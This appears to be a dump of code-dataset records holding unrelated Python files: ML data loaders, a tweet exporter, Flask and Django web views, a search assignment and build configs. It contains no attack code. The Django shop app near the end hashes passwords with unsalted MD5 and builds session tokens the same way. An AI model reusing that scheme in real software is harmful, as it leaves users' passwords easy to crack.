u.query_field_value.l.coordinate_system = \"latlon\"\n u.query_field_value.l.unit = \"deg\"\n u.query_field_value.l.v.extend(loc)\n u.query_field_value.typecode = \"location\"\n self.dapManager.update(update)\n #self.dapManager.getInstance('geo').place( ( b'localhost', agent.encode(\"utf-8\")), loc )\n\n def _create_root(self):\n r = DapQueryRepn.Branch(combiner=\"result\")\n return r\n\n def _add_branch(self, r, combiner):\n rn = DapQueryRepn.Branch(combiner)\n r.Add(rn)\n return rn\n\n def _add_leaf(self, r, op, val, vtype, field):\n leaf = DapQueryRepn.Leaf(\n operator=op,\n query_field_value=val,\n query_field_type=vtype,\n target_field_name=field,\n )\n\n r.Add(leaf)\n return leaf\n\n def _add_loc(self, loc, distance, coord=\"latlon\"):\n location = ProtoWrappers.Location(*loc)\n loc = DapQueryRepn.Leaf(\n operator=ProtoHelpers.OPERATOR_EQ,\n query_field_value=location.to_pb(),\n query_field_type=\"location\",\n target_field_name=\"location.location\",\n )\n rad = DapQueryRepn.Leaf(\n operator=ProtoHelpers.OPERATOR_EQ,\n query_field_value=distance,\n query_field_type=\"double\",\n target_field_name=\"location.radius\",\n )\n\n rn = DapQueryRepn.Branch(combiner=\"all\")\n rn.Add(loc)\n rn.Add(rad)\n return rn\n\n def testProx(self):\n\n self._setupAgents()\n\n root = self._add_loc((52.454, -1.748), 150*1000)\n\n dapQuery = DapQueryRepn()\n dapQuery.fromProto(root.toProto(\"\"))\n self.dapManager.visitDapQueryRepn(dapQuery)\n\n output = self.dapManager.execute(dapQuery)\n results = list(output.identifiers)\n print(\"RESULTS:\", results)\n assert len(results) == 2\n assert output.HasField(\"status\") == False\n","sub_path":"dap_2d_geo/test/python/DapGeoV2Test.py","file_name":"DapGeoV2Test.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491095465","text":"\n# coding: utf-8\n\n# In[2]:\n\n\nimport numpy as np\nimport torchvision.transforms as transforms\n\n\n\n# Define a data loader\n\ndef data_loader(index, root, mode, Transform_data, Transform_lbl, ctg_index):\n import torch\n from PIL import Image\n import PIL\n \n def Categories(input_image, input_list):\n input_list.sort()\n C = len(input_list)\n input_image = np.array(input_image)\n target = np.zeros((input_image.shape[0], input_image.shape[1]))\n\n for i in range(C):\n \n # Calculate Category ID\n if input_list[i] >=0 and input_list[i]<=6:\n pixel_value = 0\n elif input_list[i] >=7 and input_list[i]<=10:\n pixel_value = 1\n elif input_list[i] >=11 and input_list[i]<=16:\n pixel_value = 2\n elif input_list[i] >=17 and input_list[i]<=20:\n pixel_value = 3\n elif input_list[i] >=21 and input_list[i]<=22:\n pixel_value = 4\n elif input_list[i] ==23:\n pixel_value = 5\n elif input_list[i] >=24 and input_list[i]<=25:\n pixel_value = 6\n elif input_list[i] >= 26 or input_list[i] == -1:\n pixel_value = 7\n \n target[np.where(input_image == input_list[i])] = pixel_value\n target = np.array(target)\n \n return Image.fromarray(np.uint8(target))\n\n\n image_path0 = root + mode + '/' + mode + '_'\n \n for idx in index:\n \n # Read data\n data_path = image_path0 + '{0:05d}'.format(idx) + '_ori.png'\n lbl_path = image_path0 + '{0:05d}'.format(idx) + '_lbl.png'\n data_idx = Image.open(data_path)\n lbl_idx = Image.open(lbl_path)\n\n # Calculate categories of label image\n lbl_idx = Categories(lbl_idx, ctg_index)\n\n # Apply Resize, ToTensor, Normalization\n data_out = Transform_data(data_idx)\n lbl_out = Transform_lbl(lbl_idx)\n lbl_out = np.array(lbl_out)\n lbl_out = torch.from_numpy(lbl_out)\n \n # Add dimension\n data_out.unsqueeze_(0)\n lbl_out.unsqueeze_(0)\n \n yield data_out, lbl_out.long(), data_idx\n\n \n\n\n\n","sub_path":"history_files/DataLoader_v3.py","file_name":"DataLoader_v3.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"520523549","text":"\"\"\"\n取得した3200件分のツイートをtsvファイルに保管する関数\n取得するものは以下\n・ツイートid\n・ツイートテキスト\n・ふぁぼ数\n・RT数\n・画像付きツイートか否か\n・ツイート日時\n・画像URL\n\"\"\"\nimport csv\nfrom .preprocess import clean_tweet_text\nfrom .connect_firestorage import upload_bucket_file\n\n\ndef save_tsv_3200_tweets(all_tweets, filename_3200, logger):\n with open(filename_3200, 'w', newline='') as f:\n # ファイル出力準備\n writecsv = csv.DictWriter(\n f,\n [\n 'id', 'tweet_text', 'favorite_count',\n 'retweet_count', 'hasImage', 'created_at',\n \"image_0\", \"image_1\", \"image_2\", \"image_3\"\n ],\n delimiter='\\t'\n )\n writecsv.writeheader()\n tweet_excerpt = {}\n tweet_id = []\n for tweet in all_tweets:\n # RTは除外\n if tweet.text.startswith('RT'):\n continue\n # ツイートテキストを前処理\n tweet_text = clean_tweet_text(tweet.text, logger)\n # 連想配列に格納\n tweet_excerpt['id'] = tweet.id\n tweet_excerpt[\"tweet_text\"] = tweet_text\n tweet_excerpt[\"favorite_count\"] = tweet.favorite_count\n tweet_excerpt[\"retweet_count\"] = tweet.retweet_count\n tweet_excerpt[\"created_at\"] = tweet.created_at\n tweet_excerpt[\"hasImage\"] = False\n # 画像つきのツイートだったら画像URLを格納\n if tweet.media:\n tweet_excerpt[\"hasImage\"] = True\n for i, m in enumerate(tweet.media):\n tweet_excerpt[\"image_{}\".format(i)] = m.media_url_https\n # ファイル出力\n writecsv.writerow(tweet_excerpt)\n tweet_id.append(int(tweet.id))\n # 辞書を初期化\n tweet_excerpt = {}\n # fireストレージにアップロード\n upload_bucket_file(filename_3200, logger)\n max_id = min(tweet_id)\n latest_id = max(tweet_id)\n # 3200ツイート分のリストと、最後のmax_idを返す\n return all_tweets, max_id, latest_id\n","sub_path":"backend/app/functions/save_tsv_3200_tweets.py","file_name":"save_tsv_3200_tweets.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"432835363","text":"from CRABClient.UserUtilities import config, getUsernameFromSiteDB\nconfig = config()\n\nconfig.section_('General')\nconfig.General.requestName = 'SingleMuPt050_Pythia8Gun_ONIATREE_20160730'\nconfig.General.workArea = 'crab_projects'\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = False\n\nconfig.section_('JobType')\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = 'hioniaproducer_TriggerStudy2016_pPb_SiMuMC_cfg.py'\nconfig.JobType.outputFiles = ['OniaTree.root']\nconfig.JobType.maxMemoryMB = 2500\n\nconfig.section_('Data')\nconfig.Data.inputDataset ='/SingleMuPythia8Gun/anstahll-SingleMuPt050_pythia8Gun_RECO_20160730-f00d99212c270a6815523bc4da29a3be/USER'\nconfig.Data.inputDBS = 'phys03'\nconfig.Data.unitsPerJob = 1\nconfig.Data.splitting = 'FileBased'\n\nconfig.Data.outLFNDirBase = '/store/user/%s/TriggerStudy2016/MC/%s' % (getUsernameFromSiteDB(), config.General.requestName)\nconfig.Data.publication = False\nconfig.Data.outputDatasetTag = config.General.requestName\n\nconfig.section_('Site')\nconfig.Data.ignoreLocality = True\nconfig.Site.storageSite = 'T2_FR_GRIF_LLR'\n","sub_path":"HiAnalysis/HiOnia/test/crabConfig_MC_ONIATREE.py","file_name":"crabConfig_MC_ONIATREE.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651048682","text":"from django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect, HttpResponseForbidden, Http404\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom masquerade.forms import MaskForm\nfrom masquerade.signals import mask_on, mask_off\n\nMASQUERADE_REDIRECT_URL = getattr(settings, 'MASQUERADE_REDIRECT_URL', '/')\n\nMASQUERADE_REQUIRE_SUPERUSER = getattr(settings,\n 'MASQUERADE_REQUIRE_SUPERUSER', False)\n\ndef mask(request, template_name='masquerade/mask_form.html'):\n if not request.user.is_masked and not request.user.is_staff:\n return HttpResponseForbidden()\n elif not request.user.is_superuser and MASQUERADE_REQUIRE_SUPERUSER:\n return HttpResponseForbidden()\n\n if request.method == 'POST':\n form = MaskForm(request.POST)\n if form.is_valid():\n # turn on masquerading\n request.session['mask_user'] = form.cleaned_data['mask_user']\n mask_on.send(sender=form,\n mask_username=form.cleaned_data['mask_user'],\n request=request)\n return HttpResponseRedirect(MASQUERADE_REDIRECT_URL)\n else:\n form = MaskForm()\n\n return render_to_response(template_name, {'form': form},\n context_instance=RequestContext(request))\n\ndef unmask(request):\n # Turn off masquerading. Don't bother checking permissions.\n try:\n mask_username = request.session['mask_user']\n del(request.session['mask_user']) \n mask_off.send(sender=object(),\n mask_username=mask_username, request=request)\n except KeyError:\n pass\n\n return HttpResponseRedirect(MASQUERADE_REDIRECT_URL)\n","sub_path":"masquerade/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"599586819","text":"from collections import deque\nimport numpy as np\nfrom search_problems import Node, GraphSearchProblem\n\n\ndef breadth_first_search(problem):\n \"\"\"\n Implement a simple breadth-first search algorithm that takes instances of SimpleSearchProblem (or its derived\n classes) and provides a valid and optimal path from the initial state to the goal state. Useful for testing your\n bidirectional and A* search algorithms.\n\n :param problem: instance of SimpleSearchProblem\n :return: path: a list of states (ints) describing the path from problem.init_state to problem.goal_state[0]\n num_nodes_expanded: number of nodes expanded by your search\n max_frontier_size: maximum frontier size during search\n \"\"\"\n ####\n # COMPLETE THIS CODE\n ####\n max_frontier_size = 0\n num_nodes_expanded = 0\n path = []\n\n past = {}\n queue = {}\n cur_state = problem.init_state\n # create init node\n action_list = problem.get_actions(cur_state)\n init_node = Node(None, cur_state, action_list, 1)\n cur_node_q = [init_node]\n cur_node = cur_node_q[0]\n while not problem.goal_test(cur_node.state):\n cur_node = cur_node_q.pop(0)\n past.update({str(cur_node.state): cur_node})\n for action in cur_node.action:\n child_state = problem.transition(cur_node.state, action)\n if (past.get(str(child_state)) is None) and (queue.get(str(child_state)) is None):\n # create child node\n child_node = Node(cur_node, child_state, problem.get_actions(child_state), 1)\n cur_node_q.append(child_node)\n queue.update({str(child_state): child_node})\n # if len(cur_node_q) > max_frontier_size:\n # max_frontier_size = len(cur_node_q)\n num_nodes_expanded += 1\n\n # backtrack to find the shortest path\n path = problem.trace_path(cur_node, problem.init_state)\n\n return path, num_nodes_expanded, max_frontier_size\n\n\nif __name__ == '__main__':\n # Simple example\n goal_states = [0]\n init_state = 9\n V = np.arange(0, 10)\n E = np.array([[0, 1],\n [1, 2],\n [2, 3],\n [3, 4],\n [4, 5],\n [5, 6],\n [6, 7],\n [7, 8],\n [8, 9],\n [0, 6],\n [1, 7],\n [2, 5],\n [9, 4]])\n problem = GraphSearchProblem(goal_states, init_state, V, E)\n path, num_nodes_expanded, max_frontier_size = breadth_first_search(problem)\n correct = problem.check_graph_solution(path)\n print(\"Solution is correct: {:}\".format(correct))\n print(path)\n print('number of nodes expanded: ', num_nodes_expanded)\n print('max frontier size: ', max_frontier_size)\n\n # Use stanford_large_network_facebook_combined.txt to make your own test instances\n E = np.loadtxt('./stanford_large_network_facebook_combined.txt', dtype=int)\n V = np.unique(E)\n goal_states = [349]\n init_state = 0\n problem = GraphSearchProblem(goal_states, init_state, V, E)\n path, num_nodes_expanded, max_frontier_size = breadth_first_search(problem)\n correct = problem.check_graph_solution(path)\n print(\"Solution is correct: {:}\".format(correct))\n print(path)\n print('number of nodes expanded: ', num_nodes_expanded)\n print('max frontier size: ', max_frontier_size)\n\n # twitter dataset\n E_twitter = np.load('twitter_edges_project_01.npy')\n V_twitter = np.unique(E_twitter)\n twitter_problem = GraphSearchProblem([59999], 0, V_twitter, E_twitter)\n path, num_nodes_expanded, max_frontier_size = breadth_first_search(twitter_problem)\n correct = problem.check_graph_solution(path)\n print(\"Solution is correct: {:}\".format(correct))\n print(path)\n print('number of nodes expanded: ', num_nodes_expanded)\n print('max frontier size: ', max_frontier_size)","sub_path":"project1/rob311_winter_2020_project_01/rob311_winter_2020_project_01/breadth_first_search.py","file_name":"breadth_first_search.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"479716363","text":"'''THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND\nNON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE\nDISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY,\nWHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.'''\n\n# Bitcoin Cash (BCH) qpz32c4lg7x7lnk9jg6qg7s4uavdce89myax5v5nuk\n# Ether (ETH) - 0x843d3DEC2A4705BD4f45F674F641cE2D0022c9FB\n# Litecoin (LTC) - Lfk5y4F7KZa9oRxpazETwjQnHszEPvqPvu\n# Bitcoin (BTC) - 34L8qWiQyKr8k4TnHDacfjbaSqQASbBtTd\n\n# contact :- github@jamessawyer.co.uk\n\n\n\n# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom time import perf_counter\n\nfrom pandas_ta import EXCHANGE_TZ\n\n\ndef final_time(stime):\n time_diff = perf_counter() - stime\n return f\"{time_diff * 1000:2.4f} ms ({time_diff:2.4f} s)\"\n\n\ndef get_time(exchange: str = \"NYSE\", to_string: bool = False) -> (None, str):\n tz = EXCHANGE_TZ[\"NYSE\"] # Default is NYSE (Eastern Time Zone)\n if isinstance(exchange, str):\n exchange = exchange.upper()\n tz = EXCHANGE_TZ[exchange]\n\n day_of_year = datetime.utcnow().timetuple().tm_yday\n today = datetime.utcnow()\n s = f\"Today: {today}, \"\n s += f\"Day {day_of_year}/365 ({100 * round(day_of_year/365, 2)}%), \"\n s += f\"{exchange} Time: {(today.timetuple().tm_hour + tz) % 12}:{today.timetuple().tm_min}:{today.timetuple().tm_sec}\"\n return s if to_string else print(s)\n","sub_path":"pandas_ta/utils/_time.py","file_name":"_time.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"401435862","text":"from flask import jsonify, request, g, current_app, url_for\r\nfrom sqlalchemy import or_,and_\r\nfrom . import api\r\nfrom ..errors import bad_request, unauthorized\r\nfrom .authorization import auth\r\nfrom ..models import Message, User\r\nfrom ..decorators import admin_required\r\nfrom .. import db\r\n\r\n@api.route('/messages/')\r\n@auth.login_required\r\ndef get_messages():\r\n page = request.args.get('page', 1, type=int)\r\n pagination = Message.query.filter(\r\n or_(Message.receiver == g.current_user, Message.public == True)\r\n ).paginate(\r\n page, per_page=current_app.config['PER_PAGE'],\r\n error_out=False\r\n )\r\n messages = pagination.items\r\n prev = None\r\n if pagination.has_prev:\r\n prev = url_for('api.get_messages', page=page-1)\r\n next = None\r\n if pagination.has_next:\r\n next = url_for('api.get_messages', page=page+1)\r\n return jsonify({\r\n 'messages': [message.to_json() for message in messages],\r\n 'prev_url': prev,\r\n 'next_url': next,\r\n 'count': pagination.total\r\n })\r\n\r\n@api.route('/message/')\r\n@auth.login_required\r\ndef get_message(id):\r\n message = Message.query.get_or_404(id)\r\n message.read = True\r\n db.session.add(message)\r\n db.session.commit()\r\n return jsonify(message.to_json())\r\n\r\n@api.route('/send_messages/')\r\n@auth.login_required\r\ndef get_send_messages():\r\n page = request.args.get('page', 1, type=int)\r\n pagination = g.current_user.send_messages.paginate(\r\n page, per_page=current_app.config['PER_PAGE'],\r\n error_out=False\r\n )\r\n messages = pagination.items\r\n prev = None\r\n if pagination.has_prev:\r\n prev = url_for('api.get_messages', page=page-1)\r\n next = None\r\n if pagination.has_next:\r\n next = url_for('api.get_messages', page=page+1)\r\n return jsonify({\r\n 'messages': [message.to_json() for message in messages],\r\n 'prev_url': prev,\r\n 'next_url': next,\r\n 'count': pagination.total\r\n })\r\n\r\n@api.route('/send_all_message/', methods=['POST'])\r\n@auth.login_required\r\n@admin_required\r\ndef send_all():\r\n form = request.json\r\n content = form['content']\r\n if content is None or content == '':\r\n return bad_request('内容不能为空')\r\n message = Message(\r\n content = content,\r\n sender = g.current_user,\r\n public = True\r\n )\r\n print(message)\r\n db.session.add(message)\r\n db.session.commit()\r\n return jsonify(message.to_json())\r\n\r\n@api.route('/send_message/', methods=['POST'])\r\n@auth.login_required\r\ndef send(id):\r\n form = request.json\r\n content = form['content']\r\n if content is None or content == '':\r\n return bad_request('内容不能为空')\r\n receiver = User.query.get_or_404(id)\r\n message = Message(\r\n content = content,\r\n sender = g.current_user,\r\n receiver = receiver\r\n )\r\n db.session.add(message)\r\n db.session.commit()\r\n return jsonify(message.to_json())","sub_path":"app/api/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"520290659","text":"import os\n\nimport Consts\nfrom ElectionsDataPreperation import ElectionsDataPreperation as EDP, DataSplit\nfrom modeling import ex_3\nfrom scale_data import ScaleData\n\n\nclass Stages:\n # Stages:\n do_print = True\n do_get_raw_data = False\n do_filter_features = False\n do_swap_to_numeric = False\n do_fix_nan_and_outliers = False\n do_scale = False\n do_feature_selection = False\n do_feature_selection_load_data = False\n do_removeAbove95Corr = False\n do_sfs = False\n do_relief = False\n get_correlations = False\n # EX3\n use_the_same_model_for_all_tasks = True\n use_multi_models_for_tasks: bool = False\n show_learning_curves: bool = False\n view_decision_tree: bool = False\n print_ex3: bool = True\n\n\namount_of_sets = 1\n\n\ndef load_edp_from(base: str, set: int) -> EDP:\n edp = EDP(\n base.format(set, Consts.FileSubNames.X_TRAIN.value),\n base.format(set, Consts.FileSubNames.X_VAL.value),\n base.format(set, Consts.FileSubNames.X_TEST.value),\n base.format(set, Consts.FileSubNames.Y_TRAIN.value),\n base.format(set, Consts.FileSubNames.Y_VAL.value),\n base.format(set, Consts.FileSubNames.Y_TEST.value)\n )\n edp.loadData()\n\n return edp\n\ndef create_files():\n for d in Consts.DirNames:\n if d == Consts.DirNames.DATA_SETS:\n if not os.path.isdir(d.value):\n os.mkdir(d.value)\n\n else:\n for i in range(1, 3):\n if not os.path.isdir(d.value.format(i)):\n os.mkdir(d.value.format(i))\n\n\ndef log(msg):\n if Stages.do_print:\n print(msg)\n\ndef ex2_remainder():\n create_files()\n\n # FIRST STEP: Get the data and split it in to 2 groups of 3 data sets.\n # we need to bring the initial file only once. while working on it, it is rather efficient to work on local files\n # yet we'd like to be able to get the files and fall threw these steps again if needed.\n if Stages.do_get_raw_data:\n log(\"Stage 1: Importing the data\")\n ds = DataSplit(Consts.FileNames.RAW_FILE_PATH.value)\n ds.saveDataSetsToCsv()\n\n # SECOND STEP: Prepare the data for work.\n secondStepPrep_dict = dict()\n scaleData_dict = dict()\n\n if Stages.do_filter_features:\n log(\"Stage 2: Filtering Labels\")\n\n for i in range(1, amount_of_sets + 1):\n # start the preparing data class\n secondStepPrep_dict[i] = load_edp_from(Consts.FileNames.RAW_AND_SPLITED.value, i)\n secondStepPrep_dict[i].filterFeatures(list(Consts.DataTypes))\n\n secondStepPrep_dict[i].save_data(Consts.FileNames.RAW_AND_FILTERED.value, i)\n secondStepPrep_dict[i].save_labels(Consts.FileNames.RAW_AND_FILTERED.value, i)\n\n if Stages.do_swap_to_numeric:\n log(\"Stage 3: Swapping strings to numeric values\")\n\n for i in range(1, amount_of_sets + 1):\n # start the preparing data class\n secondStepPrep_dict[i] = load_edp_from(Consts.FileNames.RAW_AND_FILTERED.value, i)\n secondStepPrep_dict[i]._changeStringToValues(list(Consts.DataTypes))\n\n if Stages.do_fix_nan_and_outliers:\n\n log(\"Stage 4: Fixing nan and outliers\")\n\n for i in range(1, amount_of_sets + 1):\n secondStepPrep_dict[i] = load_edp_from(Consts.FileNames.FILTERED_AND_NUMERIC_NAN.value, i)\n\n secondStepPrep_dict[i].fix_nan_and_outliers()\n secondStepPrep_dict[i].save_labels(Consts.FileNames.FILTERED_AND_NUMERIC_NONAN.value, i)\n\n if Stages.do_scale:\n log(\"Stage 5: Scale the data\")\n for i in range(1, amount_of_sets + 1):\n # start the preparing data class\n secondStepPrep_dict[i] = load_edp_from(Consts.FileNames.FILTERED_AND_NUMERIC_NONAN.value, i)\n\n initial_corr = secondStepPrep_dict[i].trainData.corr()\n if Stages.get_correlations:\n initial_corr.to_csv(Consts.FileNames.SUMMARY.value.format(i, 'initial_corr'))\n\n # scale the data\n scaleData_dict[i] = ScaleData() # type: ScaleData\n scaleData_dict[i].scale_train(secondStepPrep_dict[i].trainData)\n scaleData_dict[i].scale_test(secondStepPrep_dict[i].valData)\n scaleData_dict[i].scale_test(secondStepPrep_dict[i].testData)\n # scaleData_dict[i].scale_test(secondStepPrep_dict[i].testData)\n secondStepPrep_dict[i].save_data(Consts.FileNames.FILTERED_AND_SCALED.value, i)\n secondStepPrep_dict[i].save_labels(Consts.FileNames.FILTERED_AND_SCALED.value, i)\n\n second_corr = secondStepPrep_dict[i].trainData.corr()\n if Stages.get_correlations:\n second_corr.to_csv(Consts.FileNames.SUMMARY.value.format(i, 'Scaled_corr_diff'))\n (second_corr - initial_corr).abs().to_csv(Consts.FileNames.SUMMARY.value.format(i, 'Scaled_corr_diff'))\n\ndef main():\n ex2_remainder()\n ex_3(\n use_the_same_model_for_all_tasks=Stages.use_the_same_model_for_all_tasks,\n show_learning_curves=Stages.show_learning_curves,\n use_multi_models_for_tasks=Stages.use_multi_models_for_tasks,\n view_decision_tree=Stages.view_decision_tree,\n print_ex3=Stages.print_ex3\n )\n\n\nif __name__ == \"__main__\":\n print(\"Executing the main frame\")\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264974820","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\nfrom rest_framework import routers\nfrom bib.api_views import ZotItemViewSet\n\nfrom vocabs import api_views\nfrom archiv import api_views as archiv_api_views\nfrom shapes import api_views as shapes_api_vies\n\nrouter = routers.DefaultRouter()\nrouter.register(r'skoslabels', api_views.SkosLabelViewSet)\nrouter.register(r'skosnamespaces', api_views.SkosNamespaceViewSet)\nrouter.register(r'skosconceptschemes', api_views.SkosConceptSchemeViewSet)\nrouter.register(r'skosconcepts', api_views.SkosConceptViewSet)\nrouter.register(r'ZotItem', ZotItemViewSet)\nrouter.register(r'sites', archiv_api_views.SiteViewSet)\n# router.register(r'archents', archiv_api_views.ArchEntViewSet)\nrouter.register(r'municipalities', shapes_api_vies.MunicipalityViewSet)\n\n\nurlpatterns = [\n url(r'^api/', include(router.urls)),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url(r'^admin/', admin.site.urls),\n url(r'^arche/', include('arche.urls', namespace='arche')),\n url(r'^browsing/', include('browsing.urls', namespace='browsing')),\n # url(r'^sparql/', include('sparql.urls', namespace='sparql')),\n url(r'^vocabs/', include('vocabs.urls', namespace='vocabs')),\n url(r'^vocabs-ac/', include('vocabs.dal_urls', namespace='vocabs-ac')),\n url(r'^archiv-ac/', include('archiv.dal_urls', namespace='archiv-ac')),\n url(r'^entities-ac/', include('entities.dal_urls', namespace='entities-ac')),\n url(r'^entities/', include('entities.urls', namespace='entities')),\n url(r'^shapes/', include('shapes.urls', namespace='shapes')),\n url(r'^shapes-ac/', include('shapes.dal_urls', namespace='shapes-ac')),\n url(r'^bib/', include('bib.urls', namespace='bib')),\n url(r'^bib-ac/', include('bib.dal_urls', namespace='bib-ac')),\n url(r'^archiv/', include('archiv.urls', namespace='archiv')),\n url(r'^charts/', include('charts.urls', namespace='charts')),\n url(r'^checks/', include('checks.urls', namespace='checks')),\n url(r'^', include('webpage.urls', namespace='webpage')),\n]\n","sub_path":"iad/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472178294","text":"# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\n\nfrom spack.package import *\n\n\nclass Tinygltf(CMakePackage):\n \"\"\"Header only C++11 tiny glTF 2.0 library.\"\"\"\n\n homepage = \"https://github.com/syoyo/tinygltf\"\n url = \"https://github.com/syoyo/tinygltf/archive/refs/tags/v2.5.0.tar.gz\"\n\n version(\"2.5.0\", sha256=\"5d85bd556b60b1b69527189293cfa4902957d67fabb8582b6532f23a5ef27ec1\")\n\n depends_on(\"cmake@3.6:\", type=\"build\")\n","sub_path":"var/spack/repos/builtin/packages/tinygltf/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"188959018","text":"import hashlib\nimport random\n\nimport time\nfrom django.http import HttpResponse, JsonResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom mei.alipay import alipay\nfrom mei.models import GoodList, GoodDetail, User, Cart, Order, OrderGoods\n\n\n# 魅力惠首页\ndef index(request):\n\n try:\n token = request.session.get('token')\n\n if token:\n user = User.objects.get(token=token)\n\n return render(request, 'index.html', context={'user': user})\n except:\n\n return render(request, 'index.html',context={'user':None})\n\n\n# 购物车\ndef cart(request,goodsid):\n\n # 获取token\n\n try:\n token = request.session.get('token')\n\n if token:\n user = User.objects.get(token=token)\n\n # goodsid = request.GET.get('goodsid')\n print(goodsid)\n goods = GoodDetail.objects.get(pk=goodsid)\n # print(goods.src1)\n carts = Cart.objects.filter(user=user).exclude(number=0)\n print(carts.count())\n\n data = {\n 'user': user,\n 'carts': carts,\n 'goods': goods\n }\n\n return render(request, 'cart.html', context=data)\n # return redirect('mei:cart',data)\n else:\n return render(request, 'login.html')\n except:\n\n return render(request, 'login.html')\n # return redirect('mei:login')\n\n\n\n\n\n# 商品详情\ndef detail(request,gooddetailid):\n\n gooddetail = GoodDetail.objects.get(id=gooddetailid)\n carts = []\n\n try:\n token = request.session.get('token')\n\n if token:\n user = User.objects.get(token=token)\n carts = Cart.objects.filter(user=user)\n\n data = {\n 'gooddetail': gooddetail,\n 'user':user,\n 'carts': carts\n }\n\n return render(request, 'detail.html', data)\n\n except:\n data = {\n 'gooddetail': gooddetail,\n 'user': None,\n\n }\n\n return render(request, 'detail.html', data)\n\n\n\n\n\n\n\n\n# 商品列表\ndef goods(request):\n\n goodlists = GoodList.objects.all()\n\n try:\n token = request.session.get('token')\n\n if token:\n user = User.objects.get(token=token)\n\n data = {\n 'goodlists': goodlists,\n 'user': user\n }\n\n return render(request, 'goods.html', data)\n\n except:\n data = {\n 'goodlists': goodlists,\n 'user': None\n }\n\n return render(request, 'goods.html', data)\n\n\n\n\n\n\n#令牌加密\ndef generate_token():\n md5 = hashlib.md5()\n tempstr = str(time.time()) + str(random.random())\n md5.update(tempstr.encode('utf-8'))\n return md5.hexdigest()\n\n\n\n\n# 注册\ndef register(request):\n\n if request.method == 'GET':\n\n return render(request,'register.html')\n\n elif request.method == 'POST':\n\n user = User()\n\n user.email = request.POST.get('email')\n user.password = generate_password(request.POST.get('password'))\n user.name = request.POST.get('name')\n user.phone = request.POST.get('phone')\n\n user.token = generate_token()\n\n user.save()\n\n request.session['token'] = user.token\n\n return redirect('mei:index')\n\n\n\n#密码加密\ndef generate_password(password):\n\n md5 = hashlib.md5()\n md5.update(password.encode('utf-8'))\n return md5.hexdigest()\n\n\n\n\n# 登录\ndef login(request):\n\n if request.method == 'GET':\n return render(request,'login.html')\n\n elif request.method == 'POST':\n\n email = request.POST.get('email')\n password = request.POST.get('password')\n\n try:\n user = User.objects.get(email=email)\n if user.password == generate_password(password):\n user.token = generate_token()\n user.save()\n request.session['token'] = user.token\n\n return redirect('mei:index')\n else:\n return render(request,'login.html',context={'err':'密码错误'})\n\n except:\n return render(request,'login.html',context={'err':'账户有误'})\n\n\n return render(request,'login.html')\n\n\n\n\n# 退出登录\ndef logout(request):\n\n request.session.flush()\n\n return redirect('mei:index')\n\n\n\n\n# 查看邮箱是否注册过\ndef checkemail(request):\n email = request.GET.get('email')\n\n users = User.objects.filter(email=email)\n\n if users.exists():\n return JsonResponse({'msg':'账号被占用','status':0})\n else:\n return JsonResponse({'msg':'账号可以用','status':1})\n\n\ndef addcart(request):\n\n token = request.session.get('token')\n\n if token:\n\n user = User.objects.get(token=token)\n\n goodsid = request.GET.get('goodsid')\n #\n # print(\"1\"+ goodsid )\n goods = GoodDetail.objects.get(pk=goodsid)\n\n carts = Cart.objects.filter(user=user).filter(goods=goods)\n\n\n if carts.exists(): #存在则修改number\n cart = carts.first()\n\n cart.number = cart.number + 1\n cart.save()\n responseData = {\n 'status': 1,\n 'number': cart.number,\n }\n\n else: #添加一条新纪录\n cart = Cart()\n cart.user = user\n cart.goods = goods\n cart.number = 1\n\n cart.save()\n responseData = {\n 'msg': '{}-添加购物车成功!'.format(goods.title),\n 'status': 1,\n 'number': cart.number,\n 'gooddetail':goods\n }\n\n return JsonResponse(responseData)\n\n\n else:\n return 